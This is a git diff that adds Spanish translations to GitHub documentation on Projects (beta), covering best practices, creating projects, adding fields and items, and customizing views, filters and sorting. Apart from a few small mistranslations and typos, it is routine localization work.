+Para rastrear cómo las propuestas más pequeñas encajan en una meta más grande, utiliza listas de tareas, hitos o etiquetas. Para obtener más información, consulta las secciones "[Acerca de las listas de tareas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[Acerca de los hitos](/issues/using-labels-and-milestones-to-track-work/about-milestones)", y "[Administrar etiquetas](/issues/using-labels-and-milestones-to-track-work/managing-labels)".
 
-## Communicate
+## Comunica
 
-Issues and pull requests include built-in features to let you easily communicate with your collaborators. Use @mentions to alert a person or entire team about a comment. Assign collaborators to issues to communicate responsibility. Link to related issues or pull requests to communicate how they are connected.
+Las propuestas y solicitudes de cambio incluyen características integradas que te permiten comunicarte fácilmente con tus colaboradores. Utiliza las @menciones para alertar a una persona o a todo el equipo sobre un comentario. Asigna colaboradores a las propuestas para comunicar las responsabilidades. Enlaza las propuestas o solicitudes de cambio relacionadas para comunicar cómo están conectadas.
 
-## Use views
+## Utiliza las vistas
 
-Use project views to look at your project from different angles.
+Utiliza las vistas de proyecto para mirarlo desde diferentes ángulos.
 
-For example:
+Por ejemplo:
 
-- Filter by status to view all un-started items
-- Group by a custom priority field to monitor the volume of high priority items
-- Sort by a custom date field to view the items with the earliest target ship date
+- Filtra por estado para ver los elementos que no se marcaron como favoritos
+- Agrupar por un campo de prioridad personalizado para monitorear el volumen de los elementos de prioridad alta
+- Ordena por un campo personalizado de fecha para ver los elementos con la fecha de envío destino más cercana
 
-For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-## Have a single source of truth
+## Ten una fuente única de la verdad
 
-To prevent information from getting out of sync, maintain a single source of truth. For example, track a target ship date in a single location instead of spread across multiple fields. Then, if the target ship date shifts, you only need to update the date in one location.
+Para prevenir que la información se desincronice, manten una fuente única de verdad. Por ejemplo, rastrea una fecha de envío destino en una sola ubicación en vez de que se propague a través de campos múltiples. Posteriormente, si la fecha de envío destino cambia, solo necesitas actualizar la fecha en una ubicación.
 
-{% data variables.product.company_short %} projects automatically stay up to date with {% data variables.product.company_short %} data, such as assignees, milestones, and labels. When one of these fields changes in an issue or pull request, the change is automatically reflected in your project.
+Los proyectos de {% data variables.product.company_short %} se actualizan automáticamente con los datos de {% data variables.product.company_short %}, tales como los asignados, hitos y etiquetas. Cuando uno de estos campos cambia en una propuesta o solicitud de cambios, este cambio se refleja automáticamente en tu proyecto.
 
-## Use automation
+## Utiliza la automatización
 
-You can automate tasks to spend less time on busy work and more time on the project itself. The less you need to remember to do manually, the more likely your project will stay up to date.
+Puedes automatizar las tareas para pasar menos tiempo ocupado en el trabajo y más en el proyecto mismo. Entre menos tengas que recordar para hacer manualmente, será más probable que tu proyecto se mantenga actualizado.
 
-Projects (beta) offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done."
+Los proyectos (beta) ofrecen flujos de trabajo integrados. Por ejemplo, cuando se cierra una propuesta, puedes configurar el estado automáticamente a "Hecho".
 
-Additionally, {% data variables.product.prodname_actions %} and the GraphQL API enable you to automate routine project management tasks. For example, to keep track of pull requests awaiting review, you can create a workflow that adds a pull request to a project and sets the status to "needs review"; this process can be automatically triggered when a pull request is marked as "ready for review."
+Adicionalmente, {% data variables.product.prodname_actions %} y la API de GraphQL te permiten automatizar las tareas rutinarias de administración de proyectos. Por ejemplo, para hacer un seguimiento de las solicitudes de cambios que están esperando una revisión, puedes crear un flujo de trabajo que agregue una solicitud de cambios a un proyecto y configure el estado en "necesita revisión"; este proceso se puede activar automátiamente cuando una solicitud de cambios se marque como "lista para revisión."
 
-- For an example workflow, see "[Automating projects](/issues/trying-out-the-new-projects-experience/automating-projects)."
-- For more information about the API, see "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)."
-- For more information about {% data variables.product.prodname_actions %}, see ["{% data variables.product.prodname_actions %}](/actions)."
+- Para encontrar un flujo de trabajo de ejemplo, consulta la sección "[Automatizar proyectos](/issues/trying-out-the-new-projects-experience/automating-projects)".
+- Para obtener más información sobre la API, consulta la sección "[Utilizar la API para administrar los proyectos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)".
+- Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[{% data variables.product.prodname_actions %}](/actions)".
 
-## Use different field types
+## Utilizar tipos de campo diferentes
 
-Take advantage of the various field types to meet your needs.
+Toma ventaja de los diversos tipos de campo para satisfacer tus necesidades.
 
-Use an iteration field to schedule work or create a timeline. You can group by iteration to see if items are balanced between iterations, or you can filter to focus on a single iteration. Iteration fields also let you view work that you completed in past iterations, which can help with velocity planning and reflecting on your team's accomplishments.
+Utiliza el campo de iteración para programar trabajo o crear una línea de tiempo. Puedes agrupar por iteración para ver si los elementos se balancean entre iteraciones o puedes filtrarlos para enfocarte en una iteración simple. Los campos de iteración también te permiten ver el trabajo que completaste en las iteraciones pasadas, lo cual puede ayudarte con la planeación rápida y puede reflejar los logros de tu equipo.
 
-Use a single select field to track information about a task based on a preset list of values. For example, track priority or project phase. Since the values are selected from a preset list, you can easily group or filter to focus on items with a specific value.
+Utiliza un campo de selección simple para rastrear la información de una tarea con base en una lista de valores preconfigurados. Por ejemplo, rastrea la prioridad o fase de un proyecto. Ya que los valores se seleccionan desde una lista preconfigurada, puedes agrupar, filtrar o enfocarte fácilmente en elementos con un valor específico.
 
-For more information about the different field types, see "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-custom-fields)."
+Para obtener más información sobre los diferentes tipos de campo, consulta la sección "[Crear un proyecto (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-custom-fields)".
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
index e68a41f2ed..7d3d23eb7c 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a project (beta)
-intro: 'Learn how to make a project, populate it, and add custom fields.'
+title: Crear un proyecto (beta)
+intro: 'Aprende cómo crear un proyecto, llénalo y agrega campos personalizados.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -11,142 +11,140 @@ topics:
   - Projects
 ---
 
-Projects are a customizable collection of items that stay up-to-date with {% data variables.product.company_short %} data. Your projects can track issues, pull requests, and ideas that you jot down. You can add custom fields and create views for specific purposes.
+Los proyectos son una colección personalizable de elementos que se mantienen actualizados con los datos de {% data variables.product.company_short %}. Tus proyectos pueden rastrear propuestas, solicitudes de cambios e ideas que aterrices. Puedes agregar campos personalizados y vistas creativas para propósitos específicos.
 
 {% data reusables.projects.projects-beta %}
 
-## Creating a project
+## Crear un proyecto
 
-### Creating an organization project
+### Crear un proyecto organizacional
 
 {% data reusables.projects.create-project %}
 
-### Creating a user project
+### Crear un proyecto de usuario
 
 {% data reusables.projects.create-user-project %}
 
-## Adding items to your project
+## Agregar elementos a tu proyecto
 
-Your project can track draft issues, issues, and pull requests.
+Tu proyecto puede rastrear borradores de propuestas, propuestas, y solicitudes de cambios.
 
-### Creating draft issues
+### Crear borradores de propuestas
 
-Draft issues are useful to quickly capture ideas.
+Los borradores de propuestas son útiles si quieres capturar ideas rápidamente.
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-2. Type your idea, then press **Enter**.
+1. Coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}.
+2. Teclea tu ida y luego presiona **Enter**.
 
-You can convert draft issues into issues. For more information, see [Converting draft issues to issues](#converting-draft-issues-to-issues).
+Puedes convertir los borradores de propuestas en propuestas. Para obtener más información, consulta la sección [Convertir borradores de propuestas en propuestas](#converting-draft-issues-to-issues).
 
-### Issues and pull requests
+### Propuestas y solicitudes de extracción
 
-#### Paste the URL of an issue or pull request
+#### Pegar la URL de una propuesta o solicitud de cambios
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-1. Paste the URL of the issue or pull request.
+1. Coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}.
+1. Pega la URL de la propuesta o solicitud de cambios.
 
-#### Searching for an issue or pull request
+#### Buscar una propuesta o solicitud de cambios
 
-1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
-2. Enter `#`.
-3. Select the repository where the pull request or issue is located. You can type part of the repository name to narrow down your options.
-4. Select the issue or pull request. You can type part of the title to narrow down your options.
+1. Coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}.
+2. Ingresa `#`.
+3. Selecciona el repositorio en donde se ubica la solicitud de cambios o propuesta. Puedes teclear la parte del nombre de repositorio para reducir tus opciones.
+4. Selecciona la propuesta o solicitud de cambios. Puedes teclear parte del título para reducir tus opciones.
 
-#### Assigning a project from within an issue or pull request
+#### Asignar un rpoyecto desde dentro de una propuesta o solicitud de cambios
 
-1. Navigate to the issue or pull request that you want to add to a project.
-2. In the side bar, click **Projects**.
-3. Select the project that you want to add the issue or pull request to.
-4. Optionally, populate the custom fields.
+1. Navega a la propuesta o solicitud de cambios que quieras agregar a un proyecto.
+2. En la barra lateral, haz clic en **Proyectos**.
+3. Selecciona el proyecto al cual quieras agregar la propuesta o solicitud de cambios.
+4. Opcionalmente, llena los campos personalizados.
 
-   ![Project sidebar](/assets/images/help/issues/project_side_bar.png)
+   ![Barra lateral del proyecto](/assets/images/help/issues/project_side_bar.png)
 
-## Converting draft issues to issues
+## Convertir los borradores de propuestas en propuestas
 
-In table layout:
+En el diseño de la tabla:
 
-1. Click the {% octicon "triangle-down" aria-label="the item menu" %} on the draft issue that you want to convert.
-2. Select **Convert to issue**.
-3. Select the repository that you want to add the issue to.
-4. Alternatively, edit the `assignee`, `labels`, `milestone`, or `repository` fields of the draft issue that you want to convert.
+1. Haz clic en el {% octicon "triangle-down" aria-label="the item menu" %} en el borrador de propuesta que quieras convertir.
+2. Selecciona **Convertir en propuesta**.
+3. Selecciona el repositorio al cual quieras agregar la propuesta.
+4. Como alternativa, edita los campos de `assignee`, `labels`, `milestone` o `repository` en el borrador de propuesta que quieras convertir.
 
-In board layout:
+En el diseño del tablero:
 
-1. Click the {% octicon "kebab-horizontal" aria-label="the item menu" %} on the draft issue that you want to convert.
-2. Select **Convert to issue**.
-3. Select the repository that you want to add the issue to.
+1. Haz clic en el {% octicon "kebab-horizontal" aria-label="the item menu" %} en el borrador de propuesta que quieras convertir.
+2. Selecciona **Convertir en propuesta**.
+3. Selecciona el repositorio al cual quieras agregar la propuesta.
 
-## Removing items from your project
+## Eliminar elementos de tu proyecto
 
-You can archive an item to keep the context about the item in the project but remove it from the project views. You can delete an item to remove it from the project entirely.
+Puedes archivar un elemento para mantener el contexto sobre este en el proyecto, pero eliminarlo de las vistas del proyecto. Puedes borrar un elemento para eliminarlo por completo del proyecto.
 
-1. Select the item(s) to archive or delete. To select multiple items, do one of the following:
-     - `cmd + click` (Mac) or `ctrl + click` (Windows/Linux) each item.
-     - Select an item then `shift + arrow-up` or `shift + arrow-down` to select additional items above or below the intitially selected item.
-     - Select an item then `shift + click` another item to select all items between the two items.
-     - Enter `cmd + a` (Mac) or `ctrl + a` (Windows/Linux) to select all items in a column in a board layout or all items in a table layout.
-2. To archive all selected items, enter `e`. To delete all selected items, enter `del`. Alternatively, select the {% octicon "triangle-down" aria-label="the item menu" %} (in table layout) or the {% octicon "kebab-horizontal" aria-label="the item menu" %} (in board layout), then select the desired action.
+1. Selecciona el(los) elemento(s) a archivar o borrar. Para seleccionar elementos múltiples, realiza alguna de las siguientes acciones:
+     - Haz `cmd + clic` (Mac) o `ctrl + clic` (Windows/Linux) en cada elemento.
+     - Select an item then `shift + arrow-up` or `shift + arrow-down` to select additional items above or below the initially selected item.
+     - Selecciona un elemento y luego haz `shift + clic` en otro elemento para seleccionar todos aquellos entre dos elementos.
+     - Ingresa `cmd + a` (Mac) o `ctrl + a` (Windows/Linux) para seleccionar todos los elementos en una columna en un diseño de tablero o todos los elementos en un diseño de tabla.
+2. Para archivar todos los elementos seleccionados, ingresa `e`. Para borrar todos los elementos seleccionados, ingresa `del`. Como alternativa, selecciona el {% octicon "triangle-down" aria-label="the item menu" %} (en el diseño de tabla) o el {% octicon "kebab-horizontal" aria-label="the item menu" %} (en el diseño de tablero) y luego selecciona la acción deseada.
 
-You can restore archived items but not deleted items. For more information, see [Restoring archived items](#restoring-archived-items).
+Puedes restablecer los elementos archivados, pero no los borrados. Para obtener más información, consulta la sección de [Cómo restaurar los elementos archivados](#restoring-archived-items).
 
-## Restoring archived items
+## Restaurar los elementos archivados
 
-To restore an archived item, navigate to the issue or pull request. In the project side bar on the issue or pull request, click **Restore** for the project that you want to restore the item to. Draft issues cannot be restored.
+Para restablecer un elemento archivado, navega a la propuesta o solicitud de cambios. En la barra lateral del proyecto sobre la propuesta o solicitud de cambios, haz clic en **Restablecer** en el proyecto al cual quieras restablecer el elemento. Los borradores de propuestas no pueden restaurarse.
 
-## Adding fields
+## Agregar campos
 
-As field values change, they are automatically synced so that your project and the items that it tracks are up-to-date.
+Conforme cambian los valores de los campos, estos se sincronizan automáticamente para que tu proyecto y los elementos que rastrea estén actualizados.
 
-### Showing existing fields
+### Mostrar campos existentes
 
-Your project tracks up-to-date information about  issues and pull requests, including any changes to the title, assignees, labels, milestones, and repository. When your project initializes, "title" and "assignees" are displayed; the other fields are hidden. You can change the visibility of these fields in your project.
+Tu proyecto rastrea la información actualizada de las propuestas y solicitudes de cambio, incluyendo cualquier cambio al título, asignados, etiquetas, hitos y repositorio. Cuando tu proyecto inicializa, se muestran el "título" y los "asignados"; los otros campos están ocultos. Puedes cambiar la visibilidad de estos campos en tu proyecto.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "show".
-3. Select the desired command (for example: "Show: Repository").
+2. Comienza a teclear "show".
+3. Selecciona el comando deseado (por ejemplo: "Show: Repository").
 
-Alternatively, you can do this in the UI:
+Como alternativa, puedes hacer esto en la IU:
 
-1. Click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear.
-   ![Show or hide fields](/assets/images/help/issues/projects_fields_menu.png)
-2. Select the field(s) that you want to display or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed.
+1. Haz clic en {% octicon "plus" aria-label="the plus icon" %} en el encabezado de campo que está hasta la derecha. Aparecerá un menú desplegable con los campos de proyecto. ![Mostrar u ocultar los campos](/assets/images/help/issues/projects_fields_menu.png)
+2. Selecciona el(los) campo(s) que quieras desplegar u ocultar. Un {% octicon "check" aria-label="check icon" %} indica qué campos se muestran.
 
-### Adding custom fields
+### Agregar campos personalizados
 
-You can add custom fields to your project. Custom fields will display on the side bar of issues and pull requests in the project.
+Puedes agregar campos personalizados a tu proyecto. Los campos personalizados se mostrarán en la bara lateral de las propuestas y solicitudes de cambio en el proyecto.
 
-Custom fields can be text, number, date, single select, or iteration:
+Los campos personalizados pueden ser de texto, número, fecha, selección simple o iteración:
 
-- Text: The value can be any text.
-- Number: The value must be a number.
-- Date: The value must be a date.
-- Single select: The value must be selected from a set of specified values.
-- Iteration: The value must be selected from a set of date ranges (iterations). Iterations in the past are automatically marked as "completed", and the iteration covering the current date range is marked as "current".
+- Texto: El valor puede ser cualquier tipo de texto.
+- Número: El valor debe ser un número.
+- Fecha: El valor puede ser una fecha.
+- Selección simple: El valor debe seleccionarse desde un conjunto de valores especificados.
+- Iteración: el valor debe seleccionarse desde un conjunto de rangos de fechas (iteraciones). Las iteraciones pasadas se marcan automáticamente como "completadas" y la iteración que cubre el rango de fecha actual se marca como "actual".
 
-1. {% data reusables.projects.open-command-palette %} Start typing any part of "Create new field". When "Create new field" displays in the command palette, select it.
-2. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear. Click **New field**.
-3. A popup will appear for you to enter information about the new field.
-   ![New field](/assets/images/help/issues/projects_new_field.png)
-4. In the text box, enter a name for the new field.
-5. Select the dropdown menu and click the desired type.
-6. If you specified **Single select** as the type, enter the options.
-7. If you specified **Iteration** as the type, enter the start date of the first iteration and the duration of the iteration. Three iterations are automatically created, and you can add additional iterations on the project's settings page.
+1. {% data reusables.projects.open-command-palette %} Comienza a teclear cualquier parte de "Create new field". Cuando se muestre "Create new field" en la paleta de comandos, selecciónalo.
+2. Como alternativa, haz clic en {% octicon "plus" aria-label="the plus icon" %} en el encabezado de campo que está lo más hacia la derecha. Aparecerá un menú desplegable con los campos de proyecto. Haz clic en **Campo nuevo**.
+3. Se mostrará una ventana emergente para que ingreses la información sobre el campo nuevo. ![Campo nuevo](/assets/images/help/issues/projects_new_field.png)
+4. En la caja de texto, ingresa un nombre para el campo nuevo.
+5. Selecciona el menú desplegable y haz clic en el tipo deseado.
+6. Si especificaste **Selección simple** como el tipo, ingresa las opciones.
+7. Si especificaste **Iteración** como el tipo, ingresa la fecha de inicio de la primera iteración y la duración de la misma. Se crearán tres iteraciones automáticamente y podrás agregar iteraciones adicionales en la página de ajustes del proyecto.
 
-You can later edit the drop down options for single select and iteration fields.
+Puedes editar las opciones del menú desplegable posteriormente para los campos de iteración y de selección sencilla.
 
 {% data reusables.projects.project-settings %}
-1. Under **Fields**, select the field that you want to edit.
-1. For single select fields, you can add, delete, or reorder the options.
-2. For iteration fields, you can add or delete iterations, change iteration names, and change the start date and duration of the iteration.
+1. Debajo de **Campos**, selecciona aquél que quieras editar.
+1. Para los campos de selección sencilla, puedes agregar, borrar o reordenar las opciones.
+2. Para los campos de iteración, puedes agregar o borrar las iteraciones, cambiar los nombres de estas y cambiar la fecha de inicio y duración de las mismas.
 
-## Customizing your views
+## Personalizar tus vistas
 
-You can view your project as a table or board, group items by field, filter item, and more. For more information, see "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+Puedes ver tu proyecto como una tabla o tablero, agrupar los elementos por campo, elemento de filtrado y más. Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto (beta)](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
 
-## Configuring built-in automation
+## Configurar la automatización integrada
 
 {% data reusables.projects.about-workflows %}
 
-You can enable or disable the built-in workflows for your project.
+Puedes habilitar o inhabilitar los flujos de trabajo integrados de tu proyecto.
 
 {% data reusables.projects.enable-basic-workflow %}
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
index 4b879741b9..f136d3ea37 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md
@@ -1,6 +1,6 @@
 ---
-title: Customizing your project (beta) views
-intro: 'Display the information you need by changing the layout, grouping, sorting, and filters in your project.'
+title: Personalizar las vistas de tu proyecto (beta)
+intro: 'Muestra la información que necesitas cambiando el diseño, agrupamiento, forma de ordenar y los filtros de tu proyecto.'
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,174 +12,174 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## Project command palette
+## Paleta de comandos de proyecto
 
-Use the project command palette to quickly change settings and run commands in your project.
+Utiliza la paleta de comandos del proyecto para cambiar los ajustes y ejecutar comandos rápidamente en él.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of a command or navigate through the command palette window to find a command. See the next sections for more examples of commands.
+2. Comienza a teclear cualquier parte de un comando o navega a través de la ventana de la paleta de comandos para encontrarlo. Consulta las siguientes secciones para encontrar más ejemplos de comandos.
 
-## Changing the project layout
+## Cambiar el diseño del proyecto
 
-You can view your project as a table or as a board.
+Puedes ver tu proyecto como una tabla o como un tablero.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Switch layout".
-3. Choose the required command. For example, **Switch layout: Table**.
-3. Alternatively, click the drop-down menu next to a view name and click **Table** or **Board**.
+2. Comienza a teclear "Switch layout".
+3. Elige el comando requerido. Por ejemplo, **Switch layout: Table**.
+3. Como alternativa, haz clic en el menú desplegable junto a un nombre de vista y luego en **Tabla** o **Tablero**.
 
-## Showing and hiding fields
+## Mostrar y ocultar campos
 
-You can show or hide a specific field.
+Puedes mostrar u ocultar un campo específico.
 
-In table layout:
+En el diseño de la tabla:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing the action you want to take ("show" or "hide") or the name of the field.
-3. Choose the required command. For example, **Show: Milestone**.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} to the right of the table. In the drop-down menu that appears, indicate which fields to show or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed.
-5. Alternatively, click the drop-down menu next to the field name and click **Hide field**.
+2. Comienza a teclear la acción que quieres tomar ("show" o "hide") o el nombre del campo.
+3. Elige el comando requerido. Por ejemplo, **Mostrar: Hito**.
+4. Como alternativa, haz clic en {% octicon "plus" aria-label="the plus icon" %} a la derecha de la tabla. En el menú desplegable que se muestra, indica qué campos mostrar u ocultar. Un {% octicon "check" aria-label="check icon" %} indica qué campos se muestran.
+5. Como alternativa, haz clic en el menú desplegable junto al nombre de campo y luego en **Ocultar campo**.
 
-In board layout:
+En el diseño del tablero:
 
-1. Click the drop-down menu next to the view name.
-2. Under **configuration**, click {% octicon "list-unordered" aria-label="the unordered list icon" %}.
-3. In the menu that's displayed, select fields to add them and deselect fields to remove them from the view.
+1. Haz clic en el menú desplegable junto al nombre de vista.
+2. Debajo de **configuración**, haz clic en {% octicon "list-unordered" aria-label="the unordered list icon" %}.
+3. En el menú que se muestra, selecciona los campos para agregarlos y deselecciona los campos para eliminarlos de la vista.
 
-## Reordering fields
+## Reordenar los campos
 
-You can change the order of fields.
+Puedes cambiar el orden de los campos.
 
-1. Click the field header.
-2. While clicking, drag the field to the required location.
+1. Haz clic en el encabezado del campo.
+2. Haciendo clic, arrastra el campo a la ubicación requerida.
 
-## Reordering rows
+## Reordenar filas
 
-In table layout, you can change the order of rows.
+En el diseño de tabla, puedes cambiar el orden de las filas.
 
-1. Click the number at the start of the row.
-2. While clicking, drag the row to the required location.
+1. Haz clic en el número al inicio de la fila.
+2. Haciendo clic, arrastra la fila a la ubicación requerida.
 
-## Sorting by field values
+## Clasificar por valor de campo
 
-In table layout, you can sort items by a field value.
+En el diseño de tabla, puedes organizar los elementos por valor de campo.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Sort by" or the name of the field you want to sort by.
-3. Choose the required command. For example, **Sort by: Assignees, asc**.
-4. Alternatively, click the drop-down menu next to the field name that you want to sort by and click **Sort ascending** or **Sort descending**.
+2. Comienza a teclear "Sort by" o el nombre del campo por el cual quieras ordenar.
+3. Elige el comando requerido. Por ejemplo, **Clasificar por: Asignados, asc**.
+4. Como alternativa, haz clic en el menú desplegable junto al nombre del campo que quieres ordenar y haz clic en **Ordenar ascendentemente** u **Ordenar descendientemente**.
 
 {% note %}
 
-**Note:** When a table is sorted, you cannot manually reorder rows.
+**Nota:** Cuando se ordena una tabla, no puedes reordenar las filas manualmente.
 
 {% endnote %}
 
-Follow similar steps to remove a sort.
+Sigue pasos similares para eliminar una clasificación.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove sort-by".
-3. Choose **Remove sort-by**.
-4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current sort.
+2. Comienza a teclear "Remove sort-by".
+3. Elige **Eliminar el ordenar por**.
+4. Como alternativa, haz clic en el menú desplegable junto al nombre de la vista y haz clic en el elemento de menú que indique a clasificación actual.
 
-## Grouping by field values
+## Agrupar por valores de campo
 
-In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`.
+En el diseño de tabla, puedes agrupar elementos por un valor de campo personalizado. Cuando los elementos se agrupan, si arrastras un elemento a un grupo nuevo, se aplica el valor de este grupo. Por ejemplo, si agrupas por "Estado" y luego arrastras un elemento con un estado a `In progress` hacia el grupo `Done`, el estado del elemento cambiará a `Done`.
 
 {% note %}
 
-**Note:** Currently, you cannot group by title, assignees, repository or labels.
+**Nota:** Actualmente, no puedes agrupar por título, asignados, repositorio o etiquetas.
 
 {% endnote %}
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Group by" or the name of the field you want to group by.
-3. Choose the required command. For example, **Group by: Status**.
-4. Alternatively, click the drop-down menu next to the field name that you want to group by and click **Group by values**.
+2. Comienza a teclear "Group by" o el nombre del campo por el cual quieres agrupar.
+3. Elige el comando requerido. Por ejemplo, **Agrupar por: Estado**.
+4. Como alternativa, haz clic en el menú desplegable junto al nombre de campo por el cual quieras agrupar y haz clic en **Agrupar por valores**.
 
-Follow similar steps to remove a grouping.
+Sigue pasos similares para eliminar un agrupamiento.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Remove group-by".
-3. Choose **Remove group-by**.
-4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current grouping.
+2. Comienza a teclear "Remove group-by".
+3. Elige **Eliminar el agrupar por**.
+4. Como alternativa, haz clic en un menú descendente para ver el nombre y haz clic en el elemento del menú que indica el agrupamiento actual.
 
-## Filtering rows
+## Filtrar filas
 
-Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. As you type, possible values will appear.
+Haz clic en {% octicon "search" aria-label="the search icon" %} en la parte superior de la tabla para mostrar la barra de "Filtrar por palabra clave o campo". Comienza a teclear el nombre de campo y valor por el cuál quieras filtrar. Conforme teclees, se mostrarán los posibles valores.
 
-- To filter for multiple values, separate the values with a comma. For example `label:"good first issue",bug` will list all issues with a label `good first issue` or `bug`.
-- To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`.
-- To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee.
-- To filter by state, enter `is:`. For example, `is: issue` or `is:open`.
-- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee.
+- Para filtrar valores múltiples, sepáralos con una coma. Por ejemplo `label:"good first issue",bug` listará las propuestas con una etiqueta de `good first issue` o de `bug`.
+- Para filtrar la ausencia de un valor específico, coloca `-` antes de tu filtro. Por ejemplo, `-label:"bug"` mostrará solo elementos que no tengan la etiqueta `bug`.
+- Para filtrar de acuerdo a la ausencia de todos los valores, ingresa `no:` seguido del nombre del campo. Por ejemplo, `no:assignee` solo mostrará los elementos que no tengan un asignado.
+- Para filtrar por estado, ingresa `is:`. Por ejemplo, `is: issue` o `is:open`.
+- Separa los filtros múltiples con un espacio. Por ejemplo, `status:"In progress" -label:"bug" no:assignee` solo mostrará los elementos que tengan un estado de `In progress`, que no tengan la etiqueta `bug` y que no tengan un asignado.
 
-Alternatively, use the command palette.
+Como alternativa, utiliza la paleta de comandos.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Filter by" or the name of the field you want to filter by.
-3. Choose the required command. For example, **Filter by Status**.
-4. Enter the value that you want to filter for. For example: "In progress". You can also filter for the absence of specific values (for example, choose "Exclude status" then choose a status) or the absence of all values (for example, "No status").
+2. Comienza a teclear "Filter by" o el nombre del campo por el cual quieres filtrar.
+3. Elige el comando requerido. Por ejemplo, **Filtrar por estado**.
+4. Ingresa el valor por el cual quieras filtrar. Por ejemplo: "En progreso". También puedes filtrar por el criterio de ausencia de algún valor específico (por ejemplo: elige "Excluir estado" y luego elige un estado) o por la ausencia de todos los valores (Por ejemplo: "Sin estado").
 
-In board layout, you can click on item data to filter for items with that value. For example, click on an assignee to show only items for that assignee. To remove the filter, click the item data again.
+En el diseño del tablero, puedes hacer clic en los datos del elemento o filtrar los elementos con este valor. Por ejemplo, haz clic en un asignado para mostrar únicamente los elementos de este. Para eliminar el filtro, haz clic en los datos de el elemento nuevamente.
 
-## Creating a project view
+## Crear una vista de proyecto
 
-Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. 
+Las vistas de proyecto te permiten ver los aspectos específicos de tu proyecto rápidamente. Cada vista se muestra en una pestaña por separado en tu proyecto.
 
-For example, you can have:
-- A view that shows all items not yet started (filter on "Status").
-- A view that shows the workload for each team (group by a custom "Team" field).
-- A view that shows the items with the earliest target ship date (sort by a date field).
+Por ejemplo, puedes tener:
+- Una vista que muestre todos los elementos que aún no han iniciado (filtrar en "Estado").
+- Una vista que muestre la carga de trabajo para cada equipo (agrupar por un campo personalizado de "Equipo").
+- Una vista que muestre los elementos con la fecha de envío destino más reciente (ordenar por campo de fecha).
 
-To add a new view:
+Para agregar una vista nueva:
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "New view" (to create a new view) or "Duplicate view" (to duplicate the current view).
-3. Choose the required command.
-4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view.
-5. Alternatively, click the drop-down menu next to a view name and click **Duplicate view**.
+2. Comienza a teclear "New view" (para crear una vista nueva) o "Duplicate view" (para duplicar la vista actual).
+3. Elige el comando requerido.
+4. Como alternativa, haz clic en {% octicon "plus" aria-label="the plus icon" %} **Vista nueva** junto a la vista que está más hacia la derecha.
+5. Como alternativa, haz clic el menú desplegable junto a un nombre de vista y luego en **Duplicar vista**.
 
